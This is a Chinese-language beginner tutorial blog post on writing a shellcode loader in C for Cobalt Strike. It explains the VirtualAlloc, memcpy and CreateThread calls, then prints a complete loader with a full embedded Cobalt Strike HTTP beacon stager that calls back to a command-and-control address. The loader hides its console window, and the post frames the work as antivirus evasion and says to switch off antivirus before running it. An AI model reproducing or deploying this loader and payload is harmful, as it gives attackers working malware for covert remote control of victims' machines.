0基础写shellcode加载器

1.1什么是shellcode/shellcode如何运行

Shellcode 是一种特殊的二进制代码, 主要目的是在目标系统上执行特定的操作,例如获取系统权限、建立远程访问通道、执行恶意代码等。Shellcode 的名称来源于其最常见的用途之一,即在成功利用后注入代码来获取系统 shell 的控制权。

shellcode文件通常是一个二进制文件。Shellcode 是一组用于执行特定任务的机器码指令,它们被设计成紧凑且直接执行所需操作的二进制表示形式。这些指令被用于利用漏洞、执行特定的恶意功能或与远程命令与控制(C2)服务器建立连接等。

为什么有shellcode?

shellcode的出现可以帮助我们进行各种不同方式上线cs, 从而解决了只有exe上线做免杀的那几种受限的方法, 提供更多不同的免杀处理方式

shellcode大概流程就是:

exe文件 --> 硬盘 --> 把exe内容,读取到内存中 --> 转成二进制指令 --> cpu运行

shellcode是一个直接在内存中打shell的东西

那么shellcode是如何运行的呢

单独的一个shellcode是一个16进制的字符串 或者二进制文件 不能独立运行

所以推出了加载器的概念,我们需要借助加载器实现shellcode在目标机器中运行。

1.2shellcode是什么样的

目前使用的cs版本为cs4.5

在cs中创建监听 payload使用原生的raw

用winhex打开 可看到是二进制的

这次实验使用的shellcode是c文件的形式

 

可以看到这就是cs 生成c的shellcode代码 是十六进制的

这个就是c语言中, 定义shellcode的代码, 其中

unsigned char : 这表示 buf 数组的元素类型是无符号字符(8位)

buf[] : 这是字符数组的声明,名称为 buf

"\xfc...." : 这是字符串字面值, 这是一个十六进制数

1.3shellcode加载器如何编写

首先shellcode加载器既然是通过代码编写, 那么在理论上不同编程语言都可以编写。

整个shellcode想要执行, 需要加载器做那些事情呢?

由于shellcode直接由cpu执行, 那么回想一个程序 是怎么跑起来的? 首先程序运行产生的数据一定是在内存中, 数据从内存中取出来, 翻译成指令, cpu执行这些指令

所以我的加载器, 需要实现的功能就是

1.开辟内存

2.把shellcode放到这块内存中

3.想办法让这块内存中的shellcode被cpu执行 回调函数执行

总结

申请内存-->把shellcode加载到内存-->让这段内存里的东西运行起来

如何开辟内存?

怎么把shellcode加载到内存?

如何执行我们的shellcode代码?

第一步 开辟内存

这里涉及到 windows自带的api功能了

VirtualAlloc 是 Windows API 中用于分配/申请、保留或提交内存区域的函数

LPVOID VirtualAlloc(

LPVOID lpAddress, 1

SIZE_T dwSize, 2

DWORD flAllocationType, 3

DWORD flProtect 4

);

函数()内都是参数的格式 每个参数的大概作用

1. lpAddress : 指定分配或保留的内存区域的首选基地址。如果此参数为 NULL ,则系统会选择适

当的地址。如果指定了地址,系统将尝试在指定的基地址上分配内存。注意,此地址必须是页对

齐的。

2. dwSize : 指定要分配的内存区域的大小,以字节为单位。

3. flAllocationType : 指定内存的分配类型。可能的值包括:

MEM_COMMIT (0x1000) : 将物理页面分配给内存中的一个或多个页,并将这些页的内容初

始化为零。如果同时指定了 MEM_RESERVE,则系统会保留这些页的地址空间而不将它们

分配给任何物理页面。

MEM_RESERVE (0x2000) : 保留指定地址空间,不分配物理内存。这样可以阻止其他内存分

配函数malloc和LocalAlloc等再使用已保留的内存范围,直到它被释放。当使用上面的

VirtualAlloc函数保留了一段地址空间后,接下还你还可以继续多次调用同样的函数提交这

段地址空间中的不同页面。

MEM_RESET (0x80000) : 将分配的页面的内容初始化为零。这个标志仅在使用

MEM_COMMIT 标志时才有意义。

4. flProtect : 指定内存保护属性。可能的值包括:

PAGE_EXECUTE (0x10) : 允许页面被执行。

PAGE_EXECUTE_READ (0x20) : 允许页面被执行和读取。

PAGE_EXECUTE_READWRITE (0x40) : 允许页面被执行、读取和写入。可读可写可执行

PAGE_EXECUTE_WRITECOPY (0x80) : 允许页面被执行和写入。页面内容可以被其他进程写入。

PAGE_READONLY (0x02) : 允许页面被读取。

PAGE_READWRITE (0x04) : 允许页面被读取和写入。

PAGE_WRITECOPY (0x08) : 允许页面被写入。页面内容可以被其他进程写入。

为什么每一个后面有一个16进制的数?

就和封装的函数一样只不过是封装在win里面的 可以写名字调用 也可以写 16进制数字调用

我们开辟一个内存肯定要说明 内存的地址 大小 属性 权限

第二步 把shellcode载入内存

memcpy 是 C 标准库中的一个函数,用于将内存块的内容从一个位置复制到另一个位置

void *memcpy(

void *dest,

const void *src,

size_t n

);

1. dest : 指向目标内存区域的指针,即复制操作的目标位置。

2. src : 指向源内存区域的指针,即复制操作的源位置。

3. n : 要复制的字节数。

第三步 运行shellcode

我们使用 创建线程 运行我们的shellcode, 这就需要 CreateThread

CreateThread 是 Windows API 中用于创建新线程的函数。其原型如下

HANDLE CreateThread(

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId

);

参数 详解

1. lpThreadAttributes : 一个指向 SECURITY_ATTRIBUTES 结构的指针,用于指定新线程的安全

性。可以为 NULL ,表示使用默认的线程安全性。

2. dwStackSize : 指定新线程的初始堆栈大小。可以为 0,表示使用默认堆栈大小。

3. lpStartAddress : 指向线程函数的指针,即新线程的入口点。线程函数是一个

LPTHREAD_START_ROUTINE 类型的函数指针,通常是线程的主要执行体。

4. lpParameter : 传递给线程函数的参数。这是一个指向任意类型的指针,可以用来传递数据给线程函数。

5. dwCreationFlags : 指定新线程的创建标志。常用的标志包括: 0 : 默认标志 表示线程立即执行。

CREATE_SUSPENDED (0x00000004) : 创建后线程处于挂起状态,需要调用ResumeThread 才能执行。 等等。

6. lpThreadId : 一个指向 DWORD 的指针,用于接收新线程的标识符(线程 ID)。如果不需要线 程 ID,可以传递 NULL

1.4 代码书写

#include <windows.h> // Windows API 和 一些常量
#include <stdio.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //防止在运行的加载器的时候会弹出cmd的黑框
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x72\x33\x47\x71\x00\x67\x51\xaa\x1a\xcd\x3e\x7b\xb8\x78\xf0\x26\xc3\x29\xb3\x22\xc4\x62\xc9\x20\x96\xe6\x20\x0e\x74\x79\xcd\x7d\xe8\xdf\xcc\x01\xb8\xa9\x06\x88\x63\x51\x3f\xf6\xef\xd0\x57\xfa\x02\xe1\x17\x9f\xcd\x53\x21\xd6\x82\x19\x70\xd9\xcc\x3c\x98\x85\x74\xdc\xea\x89\x5f\x94\xdb\xbc\xe6\x87\x0d\xa0\x31\x82\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x6d\xae\x03\x4d\x89\xbf\xd8\x81\xb4\xde\x80\x04\x67\x49\x58\x32\xe1\x2a\xe9\x5d\xbf\x06\x7a\xa5\xa0\xfb\x70\x27\x00\xbd\x6b\x92\xda\xa4\x99\x5d\x79\xdc\x41\x79\xee\x06\x08\x3a\x0b\x5c\x8e\xbd\xd3\xdc\xc1\x24\xa9\x0c\x76\x14\x91\xfc\x25\x8d\x0e\x9e\x8f\x97\xbe\xfc\x49\xd0\x7c\x97\x54\x1b\x48\x25\x23\xf4\x19\x8a\x15\x88\x52\x7e\x65\x41\x89\x73\xb8\xc2\x60\x1f\xca\x34\x0c\x6f\x63\x35\x3e\x91\x6f\xe5\xc9\x1c\x0b\x1c\x5a\xd0\x4e\xfb\x2f\x13\x48\xd9\xc2\xec\x5f\x0d\x1f\x90\x15\x68\x81\xd4\x3f\x82\x1b\x31\xa9\x99\xd8\x27\xdb\x86\xcb\x79\x65\x13\xb1\xb7\x7a\x45\xcf\xd1\xc7\xdb\x24\xb0\x7c\x02\xf4\xb1\xd7\x2d\x90\xa2\x4e\x4c\x25\x12\xd4\x46\x9b\x3b\xee\xbb\x56\xc4\x7c\x6b\xc6\xe0\xfe\xad\xd8\xaa\xc4\xb8\xec\x02\x67\xa7\xf8\xd9\x47\x28\x33\x25\x32\xeb\x01\x91\xbe\x15\xb4\xf3\xc2\xe1\x48\xc6\xfe\xb9\x5f\x4d\xb8\x3c\xf6\xba\x36\xe8\x62\xef\xfa\xdb\x2d\xa4\x1b\xdb\x88\xa2\x5e\x7d\xc1\x99\x72\x20\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x2e\x31\x33\x31\x00\x00\x01\x86\xa0";
//这是我们cs生成的shellcode
void main() {
    //1.申请内存              
    LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //设置null是为了让cpu自己找哪里有内存 规定内存的大小 MEM_RESERVE | MEM_COMMIT是内存的类型,PAGE_EXECUTE_READWRITE 是内存的权限可读可写

    //2.复制shellcode 到内存中
    memcpy(addr,buf, sizeof(buf));

    //3.创建线程运行 shellcode
    HANDLE t=CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE)addr,//addr指针 暂时理解为内存的地址 线程为t HANDLE类型 这里的addr必须要加(LPTHREAD_START_ROUTINE) 参数的类型规定
        NULL,
        NULL,
        0
    );
    // 等待线程运行
    WaitForSingleObject(t, -1);  
    // 关闭线程
    CloseHandle(t);


}

鼠标右键你写的代码项目

生成

去目录下找到 直接运行 没有做免杀 所以关闭杀毒

上线成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值